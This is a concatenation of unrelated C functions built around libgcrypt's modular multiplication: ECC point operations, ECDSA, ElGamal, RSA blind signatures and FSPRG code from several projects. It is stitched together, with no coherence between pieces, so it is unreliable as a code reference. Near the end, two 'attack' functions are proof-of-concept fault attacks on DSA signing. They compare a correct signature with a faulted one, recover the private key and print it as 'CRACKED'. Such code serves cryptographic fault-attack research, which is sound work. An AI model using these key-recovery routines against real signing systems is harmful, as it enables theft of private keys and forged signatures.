void jacobian_double(struct jacobian_point *p, const struct domain_params *dp) { if (gcry_mpi_cmp_ui(p->z, 0)) { if (gcry_mpi_cmp_ui(p->y, 0)) { gcry_mpi_t t1, t2; t1 = gcry_mpi_snew(0); t2 = gcry_mpi_snew(0); gcry_mpi_mulm(t1, p->x, p->x, dp->m); gcry_mpi_addm(t2, t1, t1, dp->m); gcry_mpi_addm(t2, t2, t1, dp->m); gcry_mpi_mulm(t1, p->z, p->z, dp->m); gcry_mpi_mulm(t1, t1, t1, dp->m); gcry_mpi_mulm(t1, t1, dp->a, dp->m); gcry_mpi_addm(t1, t1, t2, dp->m); gcry_mpi_mulm(p->z, p->z, p->y, dp->m); gcry_mpi_addm(p->z, p->z, p->z, dp->m); gcry_mpi_mulm(p->y, p->y, p->y, dp->m); gcry_mpi_addm(p->y, p->y, p->y, dp->m); gcry_mpi_mulm(t2, p->x, p->y, dp->m); gcry_mpi_addm(t2, t2, t2, dp->m); gcry_mpi_mulm(p->x, t1, t1, dp->m); gcry_mpi_subm(p->x, p->x, t2, dp->m); gcry_mpi_subm(p->x, p->x, t2, dp->m); gcry_mpi_subm(t2, t2, p->x, dp->m); gcry_mpi_mulm(t1, t1, t2, dp->m); gcry_mpi_mulm(t2, p->y, p->y, dp->m); gcry_mpi_addm(t2, t2, t2, dp->m); gcry_mpi_subm(p->y, t1, t2, dp->m); gcry_mpi_release(t1); gcry_mpi_release(t2); } else gcry_mpi_set_ui(p->z, 0); } }
void point_add(struct affine_point *p1, const struct affine_point *p2, const struct domain_params *dp) { if (! point_is_zero(p2)) { if (! point_is_zero(p1)) { if (! gcry_mpi_cmp(p1->x, p2->x)) { if (! gcry_mpi_cmp(p1->y, p2->y)) point_double(p1, dp); else point_load_zero(p1); } else { gcry_mpi_t t; t = gcry_mpi_snew(0); gcry_mpi_subm(t, p1->y, p2->y, dp->m); gcry_mpi_subm(p1->y, p1->x, p2->x, dp->m); gcry_mpi_invm(p1->y, p1->y, dp->m); gcry_mpi_mulm(p1->y, t, p1->y, dp->m); gcry_mpi_mulm(t, p1->y, p1->y, dp->m); gcry_mpi_addm(p1->x, p1->x, p2->x, dp->m); gcry_mpi_subm(p1->x, t, p1->x, dp->m); gcry_mpi_subm(t, p2->x, p1->x, dp->m); gcry_mpi_mulm(p1->y, p1->y, t, dp->m); gcry_mpi_subm(p1->y, p1->y, p2->y, dp->m); gcry_mpi_release(t); } } else point_set(p1, p2); } }
int point_decompress(struct affine_point *p, const gcry_mpi_t x, int yflag, const struct domain_params *dp) { gcry_mpi_t h, y; int res; h = gcry_mpi_snew(0); y = gcry_mpi_snew(0); gcry_mpi_mulm(h, x, x, dp->m); gcry_mpi_addm(h, h, dp->a, dp->m); gcry_mpi_mulm(h, h, x, dp->m); gcry_mpi_addm(h, h, dp->b, dp->m); if ((res = mod_root(y, h, dp->m))) if ((res = (gcry_mpi_cmp_ui(y, 0) || ! yflag))) { p->x = gcry_mpi_snew(0); p->y = gcry_mpi_snew(0); gcry_mpi_set(p->x, x); if (gcry_mpi_test_bit(y, 0) == yflag) gcry_mpi_set(p->y, y); else gcry_mpi_sub(p->y, dp->m, y); assert(point_on_curve(p, dp)); } gcry_mpi_release(h); gcry_mpi_release(y); return res; }
int ECDSA_verify(const char *msg, const struct affine_point *Q, const gcry_mpi_t sig, const struct curve_params *cp) { gcry_mpi_t e, r, s; struct affine_point X1, X2; int res = 0; r = gcry_mpi_new(0); s = gcry_mpi_new(0); gcry_mpi_div(s, r, sig, cp->dp.order, 0); if (gcry_mpi_cmp_ui(s, 0) <= 0 || gcry_mpi_cmp(s, cp->dp.order) >= 0 || gcry_mpi_cmp_ui(r, 0) <= 0 || gcry_mpi_cmp(r, cp->dp.order) >= 0) goto end; gcry_mpi_scan(&e, GCRYMPI_FMT_USG, msg, 64, NULL); gcry_mpi_mod(e, e, cp->dp.order); gcry_mpi_invm(s, s, cp->dp.order); gcry_mpi_mulm(e, e, s, cp->dp.order); X1 = pointmul(&cp->dp.base, e, &cp->dp); gcry_mpi_mulm(e, r, s, cp->dp.order); X2 = pointmul(Q, e, &cp->dp); point_add(&X1, &X2, &cp->dp); gcry_mpi_release(e); if (! point_is_zero(&X1)) { gcry_mpi_mod(s, X1.x, cp->dp.order); res = ! gcry_mpi_cmp(s, r); } point_release(&X1); point_release(&X2); end: gcry_mpi_release(r); gcry_mpi_release(s); return res; }
struct affine_point jacobian_to_affine(const struct jacobian_point *p, const struct domain_params *dp) { struct affine_point r = point_new(); if (gcry_mpi_cmp_ui(p->z, 0)) { gcry_mpi_t h; h = gcry_mpi_snew(0); gcry_mpi_invm(h, p->z, dp->m); gcry_mpi_mulm(r.y, h, h, dp->m); gcry_mpi_mulm(r.x, p->x, r.y, dp->m); gcry_mpi_mulm(r.y, r.y, h, dp->m); gcry_mpi_mulm(r.y, r.y, p->y, dp->m); gcry_mpi_release(h); } return r; }
/* compute 2^m (mod phi(p)), for a prime p */ static gcry_mpi_t twopowmodphi(uint64_t m, const gcry_mpi_t p) { gcry_mpi_t phi, r; int n; phi = gcry_mpi_new(0); gcry_mpi_sub_ui(phi, p, 1); /* count number of used bits in m */ for (n = 0; ((uint64_t)1 << n) <= m; n++) ; r = gcry_mpi_new(0); gcry_mpi_set_ui(r, 1); while (n) { /* square and multiply algorithm for fast exponentiation */ n--; gcry_mpi_mulm(r, r, r, phi); if (m & ((uint64_t)1 << n)) { gcry_mpi_add(r, r, r); if (gcry_mpi_cmp(r, phi) >= 0) gcry_mpi_sub(r, r, phi); } } gcry_mpi_release(phi); return r; }
static void do_encrypt(gcry_mpi_t a, gcry_mpi_t b, gcry_mpi_t input, ELG_public_key *pkey ) { gcry_mpi_t k; /* Note: maybe we should change the interface, so that it * is possible to check that input is < p and return an * error code. */ k = gen_k( pkey->p, 1 ); gcry_mpi_powm( a, pkey->g, k, pkey->p ); /* b = (y^k * input) mod p * = ((y^k mod p) * (input mod p)) mod p * and because input is < p * = ((y^k mod p) * input) mod p */ gcry_mpi_powm( b, pkey->y, k, pkey->p ); gcry_mpi_mulm( b, b, input, pkey->p ); #if 0 if( DBG_CIPHER ) { log_mpidump("elg encrypted y= ", pkey->y); log_mpidump("elg encrypted p= ", pkey->p); log_mpidump("elg encrypted k= ", k); log_mpidump("elg encrypted M= ", input); log_mpidump("elg encrypted a= ", a); log_mpidump("elg encrypted b= ", b); } #endif mpi_free(k); }
int point_on_curve(const struct affine_point *p, const struct domain_params *dp) { int res; if (! (res = point_is_zero(p))) { gcry_mpi_t h1, h2; h1 = gcry_mpi_snew(0); h2 = gcry_mpi_snew(0); gcry_mpi_mulm(h1, p->x, p->x, dp->m); gcry_mpi_addm(h1, h1, dp->a, dp->m); gcry_mpi_mulm(h1, h1, p->x, dp->m); gcry_mpi_addm(h1, h1, dp->b, dp->m); gcry_mpi_mulm(h2, p->y, p->y, dp->m); res = ! gcry_mpi_cmp(h1, h2); gcry_mpi_release(h1); gcry_mpi_release(h2); } return res; }
/* Algorithms 4.29 and 4.30 in the "Guide to Elliptic Curve Cryptography" */ gcry_mpi_t ECDSA_sign(const char *msg, const gcry_mpi_t d, const struct curve_params *cp) { struct affine_point p1; gcry_mpi_t e, k, r, s; #if ECDSA_DETERMINISTIC struct aes256cprng *cprng; cprng = ecdsa_cprng_init(msg, d, cp); #endif r = gcry_mpi_snew(0); s = gcry_mpi_snew(0); Step1: #if ECDSA_DETERMINISTIC k = ecdsa_cprng_get_exponent(cprng, cp); #else k = get_random_exponent(cp); #endif p1 = pointmul(&cp->dp.base, k, &cp->dp); gcry_mpi_mod(r, p1.x, cp->dp.order); point_release(&p1); if (! gcry_mpi_cmp_ui(r, 0)) { gcry_mpi_release(k); goto Step1; } gcry_mpi_scan(&e, GCRYMPI_FMT_USG, msg, 64, NULL); gcry_mpi_set_flag(e, GCRYMPI_FLAG_SECURE); gcry_mpi_mod(e, e, cp->dp.order); gcry_mpi_mulm(s, d, r, cp->dp.order); gcry_mpi_addm(s, s, e, cp->dp.order); gcry_mpi_invm(e, k, cp->dp.order); gcry_mpi_mulm(s, s, e, cp->dp.order); gcry_mpi_release(e); gcry_mpi_release(k); if (! gcry_mpi_cmp_ui(s, 0)) goto Step1; gcry_mpi_mul(s, s, cp->dp.order); gcry_mpi_add(s, s, r); gcry_mpi_release(r); #if ECDSA_DETERMINISTIC ecdsa_cprng_done(cprng); #endif return s; }
/** * Unblind a blind-signed signature. The signature should have been generated * with #GNUNET_CRYPTO_rsa_sign() using a hash that was blinded with * #GNUNET_CRYPTO_rsa_blind(). * * @param sig the signature made on the blinded signature purpose * @param bkey the blinding key used to blind the signature purpose * @param pkey the public key of the signer * @return unblinded signature on success, NULL on error */ struct GNUNET_CRYPTO_rsa_Signature * GNUNET_CRYPTO_rsa_unblind (struct GNUNET_CRYPTO_rsa_Signature *sig, struct GNUNET_CRYPTO_rsa_BlindingKey *bkey, struct GNUNET_CRYPTO_rsa_PublicKey *pkey) { gcry_mpi_t n; gcry_mpi_t s; gcry_mpi_t r_inv; gcry_mpi_t ubsig; int ret; struct GNUNET_CRYPTO_rsa_Signature *sret; ret = key_from_sexp (&n, pkey->sexp, "public-key", "n"); if (0 != ret) ret = key_from_sexp (&n, pkey->sexp, "rsa", "n"); if (0 != ret) { GNUNET_break_op (0); return NULL; } ret = key_from_sexp (&s, sig->sexp, "sig-val", "s"); if (0 != ret) ret = key_from_sexp (&s, sig->sexp, "rsa", "s"); if (0 != ret) { gcry_mpi_release (n); GNUNET_break_op (0); return NULL; } r_inv = gcry_mpi_new (0); if (1 != gcry_mpi_invm (r_inv, bkey->r, n)) { GNUNET_break_op (0); gcry_mpi_release (n); gcry_mpi_release (r_inv); gcry_mpi_release (s); return NULL; } ubsig = gcry_mpi_new (0); gcry_mpi_mulm (ubsig, s, r_inv, n); gcry_mpi_release (n); gcry_mpi_release (r_inv); gcry_mpi_release (s); sret = GNUNET_new (struct GNUNET_CRYPTO_rsa_Signature); GNUNET_assert (0 == gcry_sexp_build (&sret->sexp, NULL, "(sig-val (rsa (s %M)))", ubsig)); gcry_mpi_release (ubsig); return sret; }
/* deterministically generate from seed/idx a quadratic residue (mod n) */ static gcry_mpi_t gensquare(const gcry_mpi_t n, const void *seed, size_t seedlen, uint32_t idx, unsigned secpar) { size_t buflen = secpar / 8; uint8_t buf[buflen]; gcry_mpi_t x; det_randomize(buf, buflen, seed, seedlen, idx); buf[0] &= 0x7f; /* clear upper bit, so that we have x < n */ x = mpi_import(buf, buflen); assert(gcry_mpi_cmp(x, n) < 0); gcry_mpi_mulm(x, x, x, n); return x; }
static bigint_t wrap_gcry_mpi_mulm (bigint_t w, const bigint_t a, const bigint_t b, const bigint_t m) { if (w == NULL) w = _gnutls_mpi_alloc_like (m); if (w == NULL) return NULL; gcry_mpi_mulm (w, a, b, m); return w; }
/* Compose $(xp,xq) \in Z_p \times Z_q$ into $x \in Z_n$ using Chinese Remainder Theorem */ static void CRT_compose(gcry_mpi_t *x, const gcry_mpi_t xp, const gcry_mpi_t xq, const gcry_mpi_t p, const gcry_mpi_t q) { gcry_mpi_t a, u; a = gcry_mpi_new(0); u = gcry_mpi_new(0); *x = gcry_mpi_new(0); gcry_mpi_subm(a, xq, xp, q); gcry_mpi_invm(u, p, q); gcry_mpi_mulm(a, a, u, q); /* a = (xq - xp) / p (mod q) */ gcry_mpi_mul(*x, p, a); gcry_mpi_add(*x, *x, xp); /* x = p * ((xq - xp) / p mod q) + xp */ gcry_mpi_release(a); gcry_mpi_release(u); }
void FSPRG_Evolve(void *state) { gcry_mpi_t n, x; uint16_t secpar; uint64_t epoch; initialize_libgcrypt(); secpar = read_secpar(state + 0); n = mpi_import(state + 2 + 0 * secpar / 8, secpar / 8); x = mpi_import(state + 2 + 1 * secpar / 8, secpar / 8); epoch = uint64_import(state + 2 + 2 * secpar / 8, 8); gcry_mpi_mulm(x, x, x, n); epoch++; mpi_export(state + 2 + 1 * secpar / 8, secpar / 8, x); uint64_export(state + 2 + 2 * secpar / 8, 8, epoch); gcry_mpi_release(n); gcry_mpi_release(x); }
/** * Blinds the given message with the given blinding key * * @param hash hash of the message to sign * @param bkey the blinding key * @param pkey the public key of the signer * @param[out] buffer set to a buffer with the blinded message to be signed * @return number of bytes stored in @a buffer */ size_t GNUNET_CRYPTO_rsa_blind (const struct GNUNET_HashCode *hash, struct GNUNET_CRYPTO_rsa_BlindingKey *bkey, struct GNUNET_CRYPTO_rsa_PublicKey *pkey, char **buffer) { gcry_mpi_t data; gcry_mpi_t ne[2]; gcry_mpi_t r_e; gcry_mpi_t data_r_e; size_t rsize; size_t n; gcry_error_t rc; char *b; int ret; ret = key_from_sexp (ne, pkey->sexp, "public-key", "ne"); if (0 != ret) ret = key_from_sexp (ne, pkey->sexp, "rsa", "ne"); if (0 != ret) { GNUNET_break (0); *buffer = NULL; return 0; } if (0 != (rc = gcry_mpi_scan (&data, GCRYMPI_FMT_USG, (const unsigned char *) hash, sizeof (struct GNUNET_HashCode), &rsize))) { GNUNET_break (0); gcry_mpi_release (ne[0]); gcry_mpi_release (ne[1]); *buffer = NULL; return 0; } r_e = gcry_mpi_new (0); gcry_mpi_powm (r_e, bkey->r, ne[1], ne[0]); data_r_e = gcry_mpi_new (0); gcry_mpi_mulm (data_r_e, data, r_e, ne[0]); gcry_mpi_release (data); gcry_mpi_release (ne[0]); gcry_mpi_release (ne[1]); gcry_mpi_release (r_e); gcry_mpi_print (GCRYMPI_FMT_USG, NULL, 0, &n, data_r_e); b = GNUNET_malloc (n); rc = gcry_mpi_print (GCRYMPI_FMT_USG, (unsigned char *) b, n, &rsize, data_r_e); gcry_mpi_release (data_r_e); *buffer = b; return n; }
void attack(int i, unsigned char *digest, int hash_len){ void* dsa_buf; gcry_sexp_t new_dsa_key_pair; gcry_sexp_t ciphertext , plaintext, ptx2, ctx2; gcry_sexp_t r_param, r_tilda_param; gcry_sexp_t s_param, s_tilda_param; gcry_sexp_t g_param; gcry_sexp_t p_param; gcry_sexp_t q_param; gcry_sexp_t m_param; gcry_sexp_t y_param; gcry_sexp_t x_param; gcry_sexp_t misc_param; gcry_error_t err; gcry_mpi_t msg_digest, m; gcry_mpi_t r , r_tilda; gcry_mpi_t s , s_tilda; gcry_mpi_t g; gcry_mpi_t p; gcry_mpi_t q; gcry_mpi_t y; gcry_mpi_t x; retrieve_key_pair(files[i]); //*************** CORRECT SIGNATURE ********************// //20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html //a well formatted number for the immaediate has an even number of digits err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair); //now let's convert the s-expression representing r into an MPI in order //to use it in the equation of the attack //--------- CIPHERTEXT -------------- //intercepted during some sniffing... r_param = gcry_sexp_find_token(ciphertext, "r", 0); r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG); s_param = gcry_sexp_find_token(ciphertext, "s", 0); s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG); //--------- PUB KEY -------------- g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0); g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG); p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0); p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG); q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0); q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG); y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0); y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG); x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0); x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG); misc_param = gcry_sexp_find_token(dsa_key_pair, "misc-key-info", 0); //*************** FAULTY SIGNATURE ********************// err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack2_byte))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ctx2, ptx2, dsa_key_pair); s_tilda_param = gcry_sexp_find_token(ctx2, "s", 0); s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG); r_tilda_param = gcry_sexp_find_token(ctx2, "r", 0); r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG); m_param = gcry_sexp_find_token(ptx2, "hash", 0); m = gcry_sexp_nth_mpi ( m_param , 2, GCRYMPI_FMT_USG); //NOW LET'S START THE ATTACK unsigned long e = 0; unsigned int qbits = mpi_get_nbits(q); unsigned int pbits = mpi_get_nbits(p); int hash_len_bits = hash_len*8; gcry_mpi_t one = gcry_mpi_set_ui(NULL, 1); gcry_mpi_t tmp = gcry_mpi_new(qbits); gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(s)); gcry_mpi_invm(r,r,q); // r^-1 unsigned int j; for(e = 0; e < qbits ; e++){ gcry_mpi_t empi = gcry_mpi_set_ui(NULL,e); gcry_mpi_t twoi = gcry_mpi_new(e); gcry_mpi_mul_2exp(empi, one, e); // twoi = 2^e for( j=0; j< 256 ; j++){ gcry_mpi_t jmpi = gcry_mpi_set_ui(NULL,j); gcry_mpi_mulm(twoi,jmpi,empi,q); //retrieve k gcry_mpi_mulm(tmp, s_tilda, twoi, q); // s_tilda*(2^e) modq q gcry_mpi_subm(result, s_tilda, s, q); // s_tilda - s mod q gcry_mpi_invm(result, result, q); // (s_tilda - s mod q)^-1 gcry_mpi_mulm(result,result, tmp, q); // s_tilda*(2^3) mod q)*(s_tilda - s mod q)^-1 === k //retrieve x gcry_mpi_mulm(result, s, result,q); // s*k mod q gcry_mpi_subm(result, result, m, q); // s*k - m mod q gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair); if (err) { //puts("gcrypt: verify failed"); continue; } else{ printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits ); printf("[DBG] BYTE : %d * 2^%d FAULT: k-j*2^%d\n" , j , (int)e,(int)e); //DEBUG DEBUG_MPI_PRINT(result,"X = "); printf("\n"); return; } } } for(e = 0; e < qbits; e++){ gcry_mpi_t empi = gcry_mpi_set_ui(NULL,e); gcry_mpi_t twoi = gcry_mpi_new(e); gcry_mpi_mul_2exp(empi, one, e); // twoi = 2^e for( j=0; j< 256 ; j++){ gcry_mpi_t jmpi = gcry_mpi_set_ui(NULL,j); gcry_mpi_mulm(twoi,jmpi,empi,q); //retrieve k gcry_mpi_mulm(tmp, s_tilda, twoi, q); // s_tilda*(2^e) modq q gcry_mpi_subm(result, s, s_tilda, q); // s_tilda - s mod q gcry_mpi_invm(result, result, q); // (s_tilda - s mod q)^-1 gcry_mpi_mulm(result,result, tmp, q); // s_tilda*(2^3) mod q)*(s_tilda - s mod q)^-1 === k //retrieve x gcry_mpi_mulm(result, s, result,q); // s*k mod q gcry_mpi_subm(result, result, m, q); // s*k - m mod q gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair); if (err) { continue; } else{ printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits ); printf("[DBG] BYTE : %d * 2^%d FAULT: k+j*2^%d\n" , j , (int)e,(int)e); //DEBUG DEBUG_MPI_PRINT(result,"X = "); printf("\n"); return; } } } }
void jacobian_affine_point_add(struct jacobian_point *p1, const struct affine_point *p2, const struct domain_params *dp) { if (! point_is_zero(p2)) { if (gcry_mpi_cmp_ui(p1->z, 0)) { gcry_mpi_t t1, t2, t3; t1 = gcry_mpi_snew(0); t2 = gcry_mpi_snew(0); gcry_mpi_mulm(t1, p1->z, p1->z, dp->m); gcry_mpi_mulm(t2, t1, p2->x, dp->m); gcry_mpi_mulm(t1, t1, p1->z, dp->m); gcry_mpi_mulm(t1, t1, p2->y, dp->m); if (! gcry_mpi_cmp(p1->x, t2)) { if (! gcry_mpi_cmp(p1->y, t1)) jacobian_double(p1, dp); else jacobian_load_zero(p1); } else { t3 = gcry_mpi_snew(0); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(p1->y, p1->y, t1, dp->m); gcry_mpi_mulm(p1->z, p1->z, p1->x, dp->m); gcry_mpi_mulm(t3, p1->x, p1->x, dp->m); gcry_mpi_mulm(t2, t2, t3, dp->m); gcry_mpi_mulm(t3, t3, p1->x, dp->m); gcry_mpi_mulm(t1, t1, t3, dp->m); gcry_mpi_mulm(p1->x, p1->y, p1->y, dp->m); gcry_mpi_subm(p1->x, p1->x, t3, dp->m); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(t2, t2, p1->x, dp->m); gcry_mpi_mulm(p1->y, p1->y, t2, dp->m); gcry_mpi_subm(p1->y, p1->y, t1, dp->m); gcry_mpi_release(t3); } gcry_mpi_release(t1); gcry_mpi_release(t2); } else jacobian_load_affine(p1, p2); } }
void attack(int i, unsigned char *digest, int hash_len){ gcry_error_t err; gcry_sexp_t ciphertext , plaintext, ptx2, new_dsa_key_pair; gcry_sexp_t r_param, r_tilda_param, k_tilda_param, msg_digest_param; gcry_sexp_t s_param, s_tilda_param; gcry_sexp_t g_param; gcry_sexp_t p_param; gcry_sexp_t q_param; gcry_sexp_t x_param, y_param; gcry_mpi_t r , r_tilda, k_tilda, x, y; gcry_mpi_t s , s_tilda; gcry_mpi_t g; gcry_mpi_t p; gcry_mpi_t q; gcry_mpi_t msg_digest; retrieve_key_pair(files[i]); //*************** CORRECT SIGNATURE ********************// //20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html //a well formatted number for the immaediate has an even number of digits err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair); //now let's convert the s-expression representing r into an MPI in order //to use it in the equation of the attack //--------- CIPHERTEXT -------------- r_param = gcry_sexp_find_token(ciphertext, "r", 0); r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG); s_param = gcry_sexp_find_token(ciphertext, "s", 0); s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG); //--------- PUB KEY -------------- g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0); g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG); p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0); p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG); q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0); q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG); x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0); x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG); y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0); y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG); unsigned int qbits = mpi_get_nbits(q); unsigned int pbits = mpi_get_nbits(p); msg_digest_param = gcry_sexp_find_token(plaintext, "hash", 0); msg_digest = gcry_sexp_nth_mpi ( msg_digest_param , 2, GCRYMPI_FMT_USG); //*************** FAULTY SIGNATURE ********************// err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, ptx2, dsa_key_pair); s_tilda_param = gcry_sexp_find_token(ciphertext, "s", 0); s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG); r_tilda_param = gcry_sexp_find_token(ciphertext, "r", 0); r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG); k_tilda_param = gcry_sexp_find_token(ciphertext, "k", 0); k_tilda = gcry_sexp_nth_mpi ( k_tilda_param , 1, GCRYMPI_FMT_USG); //POC // 1 - choose a message // 2 - do the correct sign and obtain s and r // 3 - do the faulty sign and obtain s_tilda and r_tilda gcry_mpi_t tmp = gcry_mpi_new(mpi_get_nbits(p)); gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(p)); gcry_mpi_subm(tmp, s_tilda, s,q); //s-tilda -s mod q gcry_mpi_mulm(msg_digest, msg_digest, tmp, q); //m* (s-tilda -s mod q) mod q gcry_mpi_mulm(tmp, r_tilda, s, q); //r_tilda - s mod q gcry_mpi_mulm(result, s_tilda, r, q); //s_tilda - r mod q gcry_mpi_subm(result, tmp, result, q); //(r_tilda - s mod q) - (s_tilda - r mod q) mod q gcry_mpi_invm(result,result,q); //((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q gcry_mpi_mulm(result, msg_digest, result, q); //( (m* (s-tilda -s mod q) mod q) * ((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q ) mod q == x (private key) err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ciphertext, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ciphertext, plaintext, dsa_key_pair); if (err) { printf("\nSomething went wrong...\n"); exit(0); } if(!printed){ DEBUG_MPI_PRINT(result,"\nX = "); printed = 1; } }